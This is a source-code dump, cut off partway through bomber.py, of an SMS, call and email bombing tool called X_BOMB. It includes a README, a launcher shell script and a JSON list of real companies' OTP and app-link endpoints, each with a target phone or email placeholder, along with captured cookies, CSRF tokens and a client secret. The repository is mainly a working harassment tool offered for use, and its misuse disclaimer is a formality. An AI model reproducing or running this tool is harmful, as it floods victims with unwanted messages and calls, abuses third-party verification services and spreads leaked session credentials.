├── .gitignore ├── .notify ├── .version ├── README.md ├── X_BOMB.sh ├── apidata.json ├── bomber.py ├── isdcodes.json ├── requirements.txt └── utils ├── __init__.py ├── decorators.py └── provider.py /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | -------------------------------------------------------------------------------- /.notify: -------------------------------------------------------------------------------- 1 | Kindly move to the PIP version Of X_BOMB for more stability. 2 | Ignore if you are already using the pip version. 3 | 4 | For Any Queries, Join t.me/x_PH4N7OM 5 | -------------------------------------------------------------------------------- /.version: -------------------------------------------------------------------------------- 1 | 2.1.2 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![PicsArt_22-05-26_10-44-18-536](https://user-images.githubusercontent.com/70594016/170420806-d44aff1d-c9c9-4fd3-acac-4de8c745feff.png) 2 | 3 | # X_BOMB 4 | WhatsApp Crash With one Message 5 | 6 | ###### Send Unlimited SMS,MAIL,CALL. 7 | *** 8 | 9 | 10 | NOTE: 11 | 1) The application requires active internet connection to contact the APIs 12 | 2) You would not be charged for any SMS/calls dispatched as a consequence of this script 13 | 3) For best performance, use single thread with considerable delay time 14 | Always ensure that you are using the latest version of X_BOMB 15 | 4) This application must not be used to cause harm/discomfort/trouble to others 16 | By using this, you agree that you cannot hold the contributors responsible for any misuse 17 | 5) We Are Not Responsible For Any Misuse. 18 | 19 | Tutorial: 20 | https://youtu.be/e4m6Bw-9j0A 21 | 22 | To use the bomber type the following commands in Termux: 23 | ###

Commands to run tool in ur terminal 24 | *** 25 | 26 | ```bash 27 | pkg install git -y 28 | ``` 29 | ```bash 30 | pkg install python -y 31 | ``` 32 | ```bash 33 | git clone https://github.com/XPH4N70M/X_BOMB 34 | ``` 35 | ```bash 36 | cd X_BOMB 37 | ``` 38 | ```bash 39 | chmod 777 X_BOMB.sh 40 | ``` 41 | ```bash 42 | ./X_BOMB.sh 43 | ``` 44 | ###

Commands to run tool in ur terminal 45 | *** 46 | Use X_BOMB In Linux 47 | ```bash 48 | sudo apt install git 49 | ``` 50 | ```bash 51 | git clone https://github.com/XPH4N70M/X_BOMB 52 | ``` 53 | ```bash 54 | cd X_BOMB 55 | ``` 56 | ```bash 57 | ./X_BOMB.sh 58 | ``` 59 | 60 | ###

Commands to run tool in ur terminal 61 | *** 62 | 63 | For Debian-based GNU/Linux distributions 64 | To use the application, type in the following commands in GNU/Linux terminal. 65 | ```bash 66 | sudo apt install git 67 | ``` 68 | ```bash 69 | git clone https://github.com/XPH4N70M/X_BOMB 70 | ``` 71 | ```bash 72 | cd X_BOMB 73 | ``` 74 | ```bash 75 | ./X_BOMB.sh 76 | ``` 77 | 78 | 79 | 80 | 81 | 82 | ![Screenshot_20220516-120712_zoom](https://user-images.githubusercontent.com/70594016/168591774-d8344132-1de4-4af9-b241-bca64d7fc076.png) 83 | 84 | 85 | 86 | -------------------------------------------------------------------------------- /X_BOMB.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | detect_distro() { 4 | if [[ "$OSTYPE" == linux-android* ]]; then 5 | distro="termux" 6 | fi 7 | 8 | if [ -z "$distro" ]; then 9 | distro=$(ls /etc | awk 'match($0, "(.+?)[-_](?:release|version)", groups) {if(groups[1] != "os") {print groups[1]}}') 10 | fi 11 | 12 | if [ -z "$distro" ]; then 13 | if [ -f "/etc/os-release" ]; then 14 | distro="$(source /etc/os-release && echo $ID)" 15 | elif [ "$OSTYPE" == "darwin" ]; then 16 | distro="darwin" 17 | else 18 | distro="invalid" 19 | fi 20 | fi 21 | } 22 | 23 | pause() { 24 | read -n1 -r -p "Press any key to continue..." key 25 | } 26 | banner() { 27 | clear 28 | echo -e "\e[1;31m" 29 | if ! [ -x "$(command -v figlet)" ]; then 30 | echo 'Introducing X_BOMB' 31 | else 32 | figlet X_BOMB 33 | fi 34 | if ! [ -x "$(command -v toilet)" ]; then 35 | echo -e "\e[4;34m This Bomber Was Created By \e[1;32mhackerxphantom\e[0m" 36 | else 37 | echo -e "\e[1;34mCreated By \e[1;34m" 38 | toilet -f mono12 -F border X_PH4N70M 39 | fi 40 | echo -e "\e[1;34m For Any Queries Join Me!!!\e[0m" 41 | echo -e "\e[1;32m Telegram: https://t.me/X_PH4N7OM \e[0m" 42 | echo -e "\e[4;32m JOIN US: https://bit.ly/3PV3S3r \e[0m" 43 | echo " " 44 | echo "NOTE: Kindly move to the PIP version Of X_BOMB for more stability." 45 | echo " " 46 | } 47 | 48 | init_environ(){ 49 | declare -A backends; backends=( 50 | ["arch"]="pacman -S --noconfirm" 51 | ["debian"]="apt-get -y install" 52 | ["ubuntu"]="apt -y install" 53 | ["termux"]="apt -y install" 54 | ["fedora"]="yum -y install" 55 | ["redhat"]="yum -y install" 56 | ["SuSE"]="zypper -n install" 57 | ["sles"]="zypper -n install" 58 | ["darwin"]="brew install" 59 | ["alpine"]="apk add" 60 | ) 61 | 62 | INSTALL="${backends[$distro]}" 63 | 64 | if [ "$distro" == "termux" ]; then 65 | PYTHON="python" 66 | SUDO="" 67 | else 68 | PYTHON="python3" 69 | SUDO="sudo" 70 | fi 71 | PIP="$PYTHON -m pip" 72 | } 73 | 74 | install_deps(){ 75 | 76 | packages=(openssl git $PYTHON $PYTHON-pip figlet toilet) 77 | if [ -n "$INSTALL" ];then 78 | for package in ${packages[@]}; do 79 | $SUDO $INSTALL $package 80 | done 81 | $PIP install -r requirements.txt 82 | else 83 | echo "We could not install dependencies." 84 | echo "Please make sure you have git, python3, pip3 and requirements installed." 85 | echo "Then you can execute bomber.py ." 86 | exit 87 | fi 88 | } 89 | 90 | banner 91 | pause 92 | detect_distro 93 | init_environ 94 | if [ -f .update ];then 95 | echo "All Requirements Found...." 96 | else 97 | echo 'Installing Requirements....' 98 | echo . 99 | echo . 100 | install_deps 101 | echo This Script Was Made By X PHANTOM X_PH4N7OM > .update 102 | echo 'Requirements Installed....' 103 | pause 104 | fi 105 | while : 106 | do 107 | banner 108 | echo -e "\e[4;31m Please Read Instruction Carefully !!! \e[0m" 109 | echo " " 110 | echo "Press 1 To Start SMS Bomber " 111 | echo "Press 2 To Start CALL Bomber " 112 | echo "Press 3 To Start MAIL Bomber (Not Yet Available)" 113 | echo "Press 4 To Update (Works On Linux And Linux Emulators) " 114 | echo "Press 5 To Exit " 115 | read ch 116 | echo "select option " 117 | clear 118 | if [ $ch -eq 1 ];then 119 | $PYTHON bomber.py --sms 120 | exit 121 | elif [ $ch -eq 2 ];then 122 | $PYTHON bomber.py --call 123 | exit 124 | elif [ $ch -eq 3 ];then 125 | $PYTHON bomber.py --mail 126 | exit 127 | elif [ $ch -eq 4 ];then 128 | echo -e "\e[1;34m Downloading Latest Files..." 129 | rm -f .update 130 | $PYTHON bomber.py --update 131 | echo -e "\e[1;34m RUN X_BOMB Again..." 132 | pause 133 | exit 134 | elif [ $ch -eq 5 ];then 135 | banner 136 | exit 137 | else 138 | echo -e "\e[4;32m Invalid Input !!! \e[0m" 139 | pause 140 | fi 141 | done 142 | -------------------------------------------------------------------------------- /apidata.json: -------------------------------------------------------------------------------- 1 | { 2 | "contributors": [ 3 | "TheSpeedX", 4 | "Avinash", 5 | "Reiltar" 6 | ], 7 | "version": "2.3", 8 | "sms": { 9 | 10 | "977":[ 11 | { 12 | "name":"Daraz Nepal", 13 | "method":"POST", 14 | "url":"https://member.daraz.com.np/user/api/sendVerificationSms", 15 | "data":{ 16 | "phone":"{target}", 17 | "type":"OTP_REGISTER", 18 | "lzdAppVersion":"1.0", 19 | "X-CSRF-TOKEN":"57343b8557abe", 20 | "ncToken":{ 21 | "csessionid":"01c5Cm2zXRNC4HBmgowjSMgdDZs8R8_HiarjNJvQVNRQBo-5zZpCcc-Zj0iwNLRAPi_SACvQ7y0gh3d0xIxWmtGGCPTxLVPmFVWgNrJfbz2ImfJ101mR7baXTMfdORIfsfpQW4fdLsxshenbUQO8lwb2sGKUvcuMnbQ2Vij1rs8Mc", 22 | "sig":"05zgTBSfCmaRhumYWJquIqH4hNnR97lsAI6h-TpDtXOlYgRSytFdmbAkXULTnXVAqXcR0WS1oEGjtfSXCpSmdPvM2zI7hQmE8MbniWbliwF_AqYl5HflEiG6vbAxHSztx4Y30K7LLjCSmwr25R327f9PlS1AeWd_f-1vm-K7e2UVHuSDCV-8-LXtZvs7hfhYwX3glWz1VuFC8gyZO6s6WwGtvX9_6OryBXnVj9xRJFLoJXiHKzK6kL5OBYn5cQocuyd-YE5qz7FT1nhV-OJd30HTjTYD_eB26UgWPKnOoMkN3rSGI_cWYQapqRr3-XtxG_M0qLZNkARUbI0nFbC1WM2k5y_SDbfOIiD0qmkYq8epRNmn6YVyee4-6qNCP0-9du", 23 | "token":"QPXW:1638536554908:0.22529358478093664" 24 | 25 | } 26 | 27 | }, 28 | "headers":{ 29 | "X-CSRF-TOKEN":"57343b8557abe", 30 | "X-Requested-With":"XMLHttpRequest", 31 | "Origin":"https://member.daraz.com.np", 32 | "Referer":"https://member.daraz.com.np/user/register?spm=a2a0e.11779170.header.d6.287d2d2beUgUDG", 33 | "Cookie":"client_type=desktop; client_type=desktop; _uab_collina=163853655435166285176039; lzd_cid=513a1bfc-2422-443b-a785-b718cc4b9a97; t_uid=513a1bfc-2422-443b-a785-b718cc4b9a97; lzd_sid=1596976611e993378a7e8712bff593d8; _tb_token_=57343b8557abe; _m_h5_tk=1c359c412628e741d8061af8066b2786_1638546612338; _m_h5_tk_enc=e71f083e08aaac3c4656dbba4fd7f267; isg=BEtLmd06rrjcufJsuCw24ji_2e014F9iHdagY71JZQrh3Gg-T7Kks5c6tkQyZ7da; tfstk=cB9GBQ6Rp3UMVTcFeA66vxJtL30RaIwNzw7vLLlMF-gfer9CYs4QT7u8fSbZxvVf.; l=eBrDzCmggn-qWMsvBO5aourza779ZIOV1kPzaNbMiInca10P1Fsy9NCdbwDvRdtfQt5egUxP5OXRad3J5AU3-xT1-ak8mCOkJNJwRe1..; hng=NP|en-NP|NPR|524; xlly_s=1; t_fv=1638536534080; t_sid=sbjEWPRZmRzmrSChohIqKSi2jwleaEFn; utm_channel=NA; cna=VwMxGpE/lgsCAWejtvLLeM0O; daraz-marketing-tracker=hide; _gcl_au=1.1.666631300.1638536536; _ga_GEHLHHEXPG=GS1.1.1638536535.1.1.1638536561.0; _ga=GA1.1.1688897274.1638536536; _gid=GA1.3.38778064.1638536537; _fbp=fb.2.1638536539279.1824638069; cto_bundle=V_3F-18lMkZ4WVc4SUpEJTJGaXhxdkxMYVZYUmRNajFEV2ttODhPYUc2R2FnN2IwYVNjS3ZqSWI4RmpIbDN0dHdlT0E4QXlZN3dqd1pPbGJmbzdMWW9DVkVETzJaamd4eHlCUXhaNW1lTUQ0MEVuJTJGemFFVUVxUjdRemhnVlF2MFU3bmZKTGF4WU1FclJzVTV3cmFNZVh6d2hIcTJGd2clM0QlM0Q; G_ENABLED_IDPS=google; _ga=GA1.4.1688897274.1638536536; _gid=GA1.4.38778064.1638536537; _bl_uid=sgk9Uwm2qwgektdj777qdz3iym33" 34 | 35 | }, 36 | "identifier":"\"notSuccess\":false" 37 | 38 | } 39 | 40 | ], 41 | 42 | "91": [ 43 | { 44 | "name": "confirmtkt", 45 | "method": "GET", 46 | "url": "https://securedapi.confirmtkt.com/api/platform/register", 47 | "params": { 48 | "newOtp": "true", 49 | "mobileNumber": "{target}" 50 | }, 51 | "identifier": "false" 52 | }, 53 | { 54 | "name": "justdial", 55 | "method": "GET", 56 | "url": "https://t.justdial.com/api/india_api_write/18july2018/sendvcode.php", 57 | "params": { 58 | "mobile": "{target}" 59 | }, 60 | "identifier": "sent" 61 | }, 62 | { 63 | "name": "frotels", 64 | "method": "POST", 65 | "url": "https://www.frotels.com/appsendsms.php", 66 | "data": { 67 | "mobno": "{target}" 68 | }, 69 | "identifier": "sent" 70 | }, 71 | { 72 | "name": "gapoon", 73 | "method": "POST", 74 | "url": "https://www.gapoon.com/userSignup", 75 | "data": { 76 | "mobile": "{target}", 77 | "email": "noreply@gmail.com", 78 | "name": "LexLuthor" 79 | }, 80 | "identifier": "1" 81 | }, 82 | { 83 | "name": "housing", 84 | "method": "POST", 85 | "url": "https://login.housing.com/api/v2/send-otp", 86 | "data": { 87 | "phone": "{target}" 88 | }, 89 | "identifier": "Sent" 90 | }, 91 | { 92 | "name": "porter", 93 | "method": "POST", 94 | "url": "https://porter.in/restservice/send_app_link_sms", 95 | "data": { 96 | "phone": "{target}", 97 | "referrer_string": "", 98 | "brand": "porter" 99 | }, 100 | "identifier": "true" 101 | }, 102 | { 103 | "name": "cityflo", 104 | "method": "POST", 105 | "url": "https://cityflo.com/website-app-download-link-sms/", 106 | "data": { 107 | "mobile_number": "{target}" 108 | }, 109 | "identifier": "sent" 110 | }, 111 | { 112 | "name": "nnnow", 113 | "method": "POST", 114 | "url": "https://api.nnnow.com/d/api/appDownloadLink", 115 | "data": { 116 | "mobileNumber": "{target}" 117 | }, 118 | "identifier": "true" 119 | }, 120 | { 121 | "name": "ajio", 122 | "method": "POST", 123 | "url": "https://login.web.ajio.com/api/auth/signupSendOTP", 124 | "data": { 125 | "firstName": "xxps", 126 | "login": "wiqpdl223@wqew.com", 127 | "password": "QASpw@1s", 128 | "genderType": "Male", 129 | "mobileNumber": "{target}", 130 | "requestType": "SENDOTP" 131 | }, 132 | "identifier": "1" 133 | }, 134 | { 135 | "name": "happyeasygo", 136 | "method": "GET", 137 | "url": "https://www.happyeasygo.com/heg_api/user/sendRegisterOTP.do", 138 | "params": { 139 | "phone": "91%20{target}" 140 | }, 141 | "identifier": "true" 142 | }, 143 | { 144 | "name": "unacademy", 145 | "method": "POST", 146 | "url": "https://unacademy.com/api/v1/user/get_app_link/", 147 | "data": { 148 | "phone": "{target}" 149 | }, 150 | "identifier": "sent" 151 | }, 152 | { 153 | "name": "treebo", 154 | "method": "POST", 155 | "url": "https://www.treebo.com/api/v2/auth/login/otp/", 156 | "data": { 157 | "phone_number": "{target}" 158 | }, 159 | "identifier": "sent" 160 | }, 161 | { 162 | "name": "airtel", 163 | "method": "GET", 164 | "url": "https://www.airtel.in/referral-api/core/notify", 165 | "params": { 166 | "messageId": "map", 167 | "rtn": "{target}" 168 | }, 169 | "identifier": "Success" 170 | }, 171 | { 172 | "name": "pharmeasy", 173 | "method": "POST", 174 | "url": "https://pharmeasy.in/api/auth/requestOTP", 175 | "json": { 176 | "contactNumber": "{target}" 177 | }, 178 | "identifier": "resendSmsCounter" 179 | }, 180 | { 181 | "name": "mylescars", 182 | "method": "POST", 183 | "url": "https://www.mylescars.com/usermanagements/chkContact", 184 | "data": { 185 | "contactNo": "{target}" 186 | }, 187 | "identifier": "success@::::" 188 | }, 189 | { 190 | "name": "grofers", 191 | "method": "POST", 192 | "url": "https://grofers.com/v2/accounts/", 193 | "data": { 194 | "user_phone": "{target}" 195 | }, 196 | "headers": { 197 | "auth_key": "3f0b81a721b2c430b145ecb80cfdf51b170bf96135574e7ab7c577d24c45dbd7" 198 | }, 199 | "identifier": "We have sent" 200 | }, 201 | { 202 | "name": "dream11", 203 | "method": "POST", 204 | "url": "https://api.dream11.com/sendsmslink", 205 | "data": { 206 | "siteId": "1", 207 | "mobileNum": "{target}", 208 | "appType": "androidfull" 209 | }, 210 | "identifier": "true" 211 | }, 212 | { 213 | "name": "cashify", 214 | "method": "GET", 215 | "url": "https://www.cashify.in/api/cu01/v1/app-link", 216 | "params": { 217 | "mn": "{target}" 218 | }, 219 | "identifier": "Successfully" 220 | }, 221 | { 222 | "name": "paytm", 223 | "method": "POST", 224 | "url": "https://commonfront.paytm.com/v4/api/sendsms", 225 | "data": { 226 | "phone": "{target}", 227 | "guid": "2952fa812660c58dc160ca6c9894221d" 228 | }, 229 | "identifier": "202" 230 | }, 231 | { 232 | "name": "kfc-in", 233 | "method": "POST", 234 | "url": "https://online.kfc.co.in/OTP/ResendOTPToPhoneForLogin", 235 | "headers": { 236 | "Referer": "https://online.kfc.co.in/login", 237 | "__RequestVerificationToken": "-zoQqa7WNa3z-mwOyqWHvcyYkCqYv0h7zqNUAqBivokB75ZiDj-LwQsGk4kB8QextV396CRJxxPAsWXfwYMoPFhMVlQBd1V0ONFeIrpj2C81:ub34fZv2vHPnub-TuF-vkK4rAkfKmIgnZFscecZJ3-kzvRU9CktNjLyLOCFNsixxFGbotqULbV41iHU2K-G0Aoqd4P4MQqIsjJm8tFkZga01" 238 | }, 239 | "json": { 240 | "AuthorizedFor": "3", 241 | "phoneNumber": "{target}", 242 | "Resend": "false" 243 | }, 244 | "identifier": "true" 245 | }, 246 | { 247 | "name": "indialends", 248 | "method": "POST", 249 | "url": "https://indialends.com/internal/a/mobile-verification_v2.ashx", 250 | "cookies": { 251 | "_ga": "GA1.2.1483885314.1559157646", 252 | "_fbp": "fb.1.1559157647161.1989205138", 253 | "TiPMix": "91.9909185226964", 254 | "gcb_t_track": "SEO - Google", 255 | "gcb_t_keyword": "", 256 | "gcb_t_l_url": "https://www.google.com/", 257 | "gcb_utm_medium": "", 258 | "gcb_utm_campaign": "", 259 | "ASP.NET_SessionId": "ioqkek5lbgvldlq4i3cmijcs", 260 | "web_app_landing_utm_source": "", 261 | "web_app_landing_url": "/personal-loan", 262 | "webapp_landing_referral_url": "https://www.google.com/", 263 | "ARRAffinity": "747e0c2664f5cb6179583963d834f4899eee9f6c8dcc773fc05ce45fa06b2417", 264 | "_gid": "GA1.2.969623705.1560660444", 265 | "_gat": "1", 266 | "current_url": "https://indialends.com/personal-loan", 267 | "cookies_plbt": "0" 268 | }, 269 | "headers": { 270 | "Referer": "https://indialends.com/personal-loan" 271 | }, 272 | "data": { 273 | "aeyder03teaeare": "1", 274 | "ertysvfj74sje": "{cc}", 275 | "jfsdfu14hkgertd": "{target}", 276 | "lj80gertdfg": "0" 277 | }, 278 | "identifier": "1" 279 | } 280 | ], 281 | "multi": [ 282 | { 283 | "name": "flipkart", 284 | "method": "POST", 285 | "cc_target": "loginId", 286 | "url": "https://www.flipkart.com/api/5/user/otp/generate", 287 | "data": { 288 | "loginId": "+{target}" 289 | }, 290 | "headers": { 291 | "X-user-agent": "Mozilla/5.0 (X11; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0 FKUA/website/41/website/Desktop", 292 | "Origin": "https://www.flipkart.com", 293 | "Content-Type": "application/x-www-form-urlencoded" 294 | }, 295 | "identifier": "emailMask" 296 | }, 297 | { 298 | "name": "qlean", 299 | "method": "POST", 300 | "url": "https://qlean.ru/clients-api/v2/sms_codes/auth/request_code", 301 | "data": { 302 | "phone": "{cc}{target}" 303 | }, 304 | "identifier": "request_id" 305 | }, 306 | { 307 | "name": "mailru", 308 | "method": "POST", 309 | "url": "https://cloud.mail.ru//api/v2/notify/applink", 310 | "data": { 311 | "phone": "+{cc}{target}", 312 | "api": "2", 313 | "email": "email", 314 | "x-email": "x-email" 315 | }, 316 | "identifier": "200" 317 | }, 318 | { 319 | "name": "tinder", 320 | "method": "POST", 321 | "url": "https://api.gotinder.com/v2/auth/sms/send", 322 | "params": { 323 | "auth_type": "sms", 324 | "locale": "ru" 325 | }, 326 | "data": { 327 | "phone_number": "{cc}{target}" 328 | }, 329 | "identifier": "200" 330 | }, 331 | { 332 | "name": "youla", 333 | "method": "POST", 334 | "url": "https://youla.ru/web-api/auth/request_code", 335 | "data": { 336 | "phone": "+{cc}{target}" 337 | }, 338 | "identifier": ":6" 339 | }, 340 | { 341 | "name": "ivi", 342 | "method": "POST", 343 | "url": "https://api.ivi.ru/mobileapi/user/register/phone/v6", 344 | "data": { 345 | "phone": "{cc}{target}" 346 | }, 347 | "identifier": "true" 348 | }, 349 | { 350 | "name": "delitime", 351 | "method": "POST", 352 | "url": "https://api.delitime.ru/api/v2/signup", 353 | "data": { 354 | "SignupForm[username]": "{cc}{target}", 355 | "SignupForm[device_type]": "3" 356 | }, 357 | "identifier": "true" 358 | }, 359 | { 360 | "name": "icq", 361 | "method": "POST", 362 | "url": "https://www.icq.com/smsreg/requestPhoneValidation.php", 363 | "data": { 364 | "msisdn": "{cc}{target}", 365 | "locale": "en", 366 | "k": "ic1rtwz1s1Hj1O0r", 367 | "r": "45559" 368 | }, 369 | "identifier": "200" 370 | }, 371 | { 372 | "name": "ivitv", 373 | "method": "POST", 374 | "url": "https://api.ivi.ru/mobileapi/user/register/phone/v6/", 375 | "data": { 376 | "phone": "{cc}{target}", 377 | "device": "Windows+v.43+Chrome+v.7453451", 378 | "app_version": "870" 379 | }, 380 | "identifier": "true" 381 | }, 382 | { 383 | "name": "indialends", 384 | "method": "POST", 385 | "url": "https://indialends.com/internal/a/mobile-verification_v2.ashx", 386 | "cookies": { 387 | "_ga": "GA1.2.1483885314.1559157646", 388 | "_fbp": "fb.1.1559157647161.1989205138", 389 | "TiPMix": "91.9909185226964", 390 | "gcb_t_track": "SEO - Google", 391 | "gcb_t_keyword": "", 392 | "gcb_t_l_url": "https://www.google.com/", 393 | "gcb_utm_medium": "", 394 | "gcb_utm_campaign": "", 395 | "ASP.NET_SessionId": "ioqkek5lbgvldlq4i3cmijcs", 396 | "web_app_landing_utm_source": "", 397 | "web_app_landing_url": "/personal-loan", 398 | "webapp_landing_referral_url": "https://www.google.com/", 399 | "ARRAffinity": "747e0c2664f5cb6179583963d834f4899eee9f6c8dcc773fc05ce45fa06b2417", 400 | "_gid": "GA1.2.969623705.1560660444", 401 | "_gat": "1", 402 | "current_url": "https://indialends.com/personal-loan", 403 | "cookies_plbt": "0" 404 | }, 405 | "headers": { 406 | "Referer": "https://indialends.com/personal-loan" 407 | }, 408 | "data": { 409 | "aeyder03teaeare": "1", 410 | "ertysvfj74sje": "{cc}", 411 | "jfsdfu14hkgertd": "{target}", 412 | "lj80gertdfg": "0" 413 | }, 414 | "identifier": "1" 415 | }, 416 | { 417 | "name": "redbus", 418 | "method": "GET", 419 | "url": "https://m.redbus.in/api/getOtp", 420 | "params": { 421 | "number": "{target}", 422 | "cc": "{cc}", 423 | "whatsAppOpted": false 424 | }, 425 | "identifier": "200" 426 | }, 427 | { 428 | "name": "newtonschools", 429 | "method": "POST", 430 | "url": "https://my.newtonschool.co:443/api/v1/user/otp/", 431 | "params": { 432 | "registration": true 433 | }, 434 | "data": { 435 | "phone": "+{cc}{target}" 436 | }, 437 | "identifier": "S003" 438 | }, 439 | { 440 | "name": "qiwi", 441 | "method": "POST", 442 | "url": "https://mobile-api.qiwi.com/oauth/authorize", 443 | "data": { 444 | "response_type": "urn:qiwi:oauth:response-type:confirmation-id", 445 | "username": "{cc}{target}", 446 | "client_id": "android-qw", 447 | "client_secret": "zAm4FKq9UnSe7id" 448 | }, 449 | "identifier": "confirmation_id" 450 | } 451 | ] 452 | }, 453 | "call": { 454 | "91": [ 455 | { 456 | "name": "makaan", 457 | "method": "GET", 458 | "url": "https://www.makaan.com/apis/nc/sendOtpOnCall/16257065/{target}", 459 | "params": { 460 | "callType": "otpOnCall" 461 | }, 462 | "identifier": "2XX" 463 | }, 464 | { 465 | "name": "realestate", 466 | "method": "POST", 467 | "url": "https://www.realestateindia.com/mobile-script/indian_mobile_verification_form.php", 468 | "headers": { 469 | "x-requested-with": "XMLHttpRequest", 470 | "referer": "https://www.realestateindia.com/thanks.php?newreg" 471 | }, 472 | "cookies": { 473 | "visitedToken": "176961560836367" 474 | }, 475 | "params": { 476 | "sid": "0.5983221395805354" 477 | }, 478 | "data": { 479 | "action_id": "call_to_otp", 480 | "mob_num": "{target}", 481 | "member_id": "1547045" 482 | }, 483 | "identifier": "Y" 484 | }, 485 | { 486 | "name": "magicbricks", 487 | "method": "GET", 488 | "url": "https://api.magicbricks.com/bricks/verifyOnCall.html", 489 | "params": { 490 | "mobile": "{target}" 491 | }, 492 | "identifier": "callmade" 493 | }, 494 | { 495 | "name": "career360", 496 | "method": "POST", 497 | "url": "https://www.careers360.com/ajax/no-cache/user/otp-send", 498 | "cookies": { 499 | "_gcl_au": "1.1.1168325424.1600579108", 500 | "WZRK_G": "4584ba1e8345400d92392a88464c9183", 501 | "__asc": "ce35392c174a9f2fbe2f2c29a0c", 502 | "__auc": "ce35392c174a9f2fbe2f2c29a0c", 503 | "_ga": "GA1.2.1646044729.1600579108", 504 | "_gid": "GA1.2.365026440.1600579108", 505 | "_fbp": "fb.1.1600579107930.1446075664", 506 | "dataLayer_": "Home Pages", 507 | "csrftoken": "RI5TGK7tuZdkJjVNzu3lRdSeRcztdtYqfsLmngbNRK1lMH7Uir1qFprpSgCI2ZNy", 508 | "_omappvp": "RIeaJ0pgkcvqwRygRT8VTxJ6PrpnRvze6xwTpZBXztsuBXhgRV5OIU97g9s0DivdxwVAHM0DF1teulefRfsK0wCo2MRjp325", 509 | "G_ENABLED_IDPS": "google", 510 | "_dc_gtm_UA-46098128-1": "1", 511 | "_omappvs": "1600579353765", 512 | "WZRK_S_654-ZZ4-5Z5Z": "%7B%22p%22%3A5%2C%22s%22%3A1600579103%2C%22t%22%3A1600579356%7D" 513 | }, 514 | "headers": { 515 | "X-CSRFToken": "9tKY96jb358WKiZBMwhz2EcranwljWDbxdqrQCnvqQWXNGbIvtfEQQLCbrzA8ssj", 516 | "X-Requested-With": "XMLHttpRequest", 517 | "User-Agent": "Mozilla/5.0 (Linux; Android 10; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.101 Mobile Safari/537.36", 518 | "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 519 | "Origin": "https://www.careers360.com", 520 | "Sec-Fetch-Site": "same-origin", 521 | "Sec-Fetch-Mode": "cors", 522 | "Sec-Fetch-Dest": "empty", 523 | "Referer": "https://www.careers360.com/user/otp-verify/101e8d6e591af6688f640eee08f5a5f8?destination=&click_location=header&google_success=header" 524 | }, 525 | "data": { 526 | "mobile_number": "{target}", 527 | "method": "call", 528 | "uid": "12692588" 529 | }, 530 | "identifier": "success" 531 | } 532 | ], 533 | "multi": [] 534 | }, 535 | "mail": { 536 | "multi": [ 537 | { 538 | "name": "themezee", 539 | "method": "POST", 540 | "url": "https://themezee.com/wp-admin/admin-ajax.php?action=mc4wp-form", 541 | "data": { 542 | "EMAIL": "{target}", 543 | "AGREE": "1", 544 | "_mc4wp_honeypot": "", 545 | "_mc4wp_timestamp": "1614865641", 546 | "_mc4wp_form_id": "184963", 547 | "_mc4wp_form_element_id": "mc4wp-form-1" 548 | }, 549 | "identifier": "mc4wp-success" 550 | }, 551 | { 552 | "name": "credible_init", 553 | "method": "POST", 554 | "url": "https://mycredible.info:443/mycredible/signup", 555 | "data": { 556 | "email": "{target}", 557 | "first_name": "Lex", 558 | "last_name": "Luthor" 559 | }, 560 | "identifier": "ccuid" 561 | }, 562 | { 563 | "name": "credible_mail", 564 | "method": "GET", 565 | "url": "https://mycredible.info:443/mycredible/signin/request_otp", 566 | "params": { 567 | "email": "{target}" 568 | }, 569 | "identifier": "" 570 | } 571 | ] 572 | } 573 | } 574 | -------------------------------------------------------------------------------- /bomber.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: UTF-8 -*- 3 | 4 | import os 5 | import shutil 6 | import sys 7 | import subprocess 8 | import string 9 | import random 10 | import json 11 | import re 12 | import time 13 | import argparse 14 | import zipfile 15 | from io import BytesIO 16 | 17 | from concurrent.futures import ThreadPoolExecutor, as_completed 18 | 19 | from utils.decorators import MessageDecorator 20 | from utils.provider import APIProvider 21 | 22 | try: 23 | import requests 24 | from colorama import Fore, Style 25 | except ImportError: 26 | print("\tSome dependencies could not be imported (possibly not installed)") 27 | print( 28 | "Type `pip3 install -r requirements.txt` to " 29 | " install all required packages") 30 | sys.exit(1) 31 | 32 | 33 | def readisdc(): 34 | with open("isdcodes.json") as file: 35 | isdcodes = json.load(file) 36 | return isdcodes 37 | 38 | 39 | def get_version(): 40 | try: 41 | return open(".version", "r").read().strip() 42 | except Exception: 43 | return '1.0' 44 | 45 | 46 | def clr(): 47 | if os.name == "nt": 48 | os.system("cls") 49 | else: 50 | os.system("clear") 51 | 52 | 53 | def bann_text(): 54 | clr() 55 | logo = """ 56 | 57 | $$\ $$\ $$$$$$$\ $$$$$$\ $$\ $$\ $$$$$$$\ 58 | $$ | $$ | $$ __$$\ $$ __$$\ $$$\ $$$ |$$ __$$\ 59 | \$$\ $$ | $$ | $$ |$$ / $$ |$$$$\ $$$$ |$$ | $$ | 60 | \$$$$ / $$$$$$$\ |$$ | $$ |$$\$$\$$ $$ |$$$$$$$\ | 61 | $$ $$< $$ __$$\ $$ | $$ |$$ \$$$ $$ |$$ __$$\ 62 | $$ /\$$\ $$ | $$ |$$ | $$ |$$ |\$ /$$ |$$ | $$ | 63 | $$ / $$ | $$$$$$$ | $$$$$$ |$$ | \_/ $$ |$$$$$$$ | 64 | \__| \__|$$$$$$\\_______/ \______/ \__| \__|\_______/ 65 | \______| 66 | 67 | """ 68 | if ASCII_MODE: 69 | logo = "" 70 | version = "Version: "+__VERSION__ 71 | contributors = "Contributors: "+" ".join(__CONTRIBUTORS__) 72 | print(random.choice(ALL_COLORS) + logo + RESET_ALL) 73 | mesgdcrt.SuccessMessage(version) 74 | mesgdcrt.SectionMessage(contributors) 75 | print() 76 | 77 | 78 | def check_intr(): 79 | try: 80 | requests.get("https://motherfuckingwebsite.com") 81 | except Exception: 82 | bann_text() 83 | mesgdcrt.FailureMessage("Poor internet connection detected") 84 | sys.exit(2) 85 | 86 | 87 | def format_phone(num): 88 | num = [n for n in num if n in string.digits] 89 | return ''.join(num).strip() 90 | 91 | 92 | def do_zip_update(): 93 | success = False 94 | if DEBUG_MODE: 95 | zip_url = "https://github.com/XPH4N70M/X_BOMB/archive/dev.zip" 96 | dir_name = "X_BOMB-dev" 97 | else: 98 | zip_url = "https://github.com/XPH4N70M/X_BOMB/archive/master.zip" 99 | 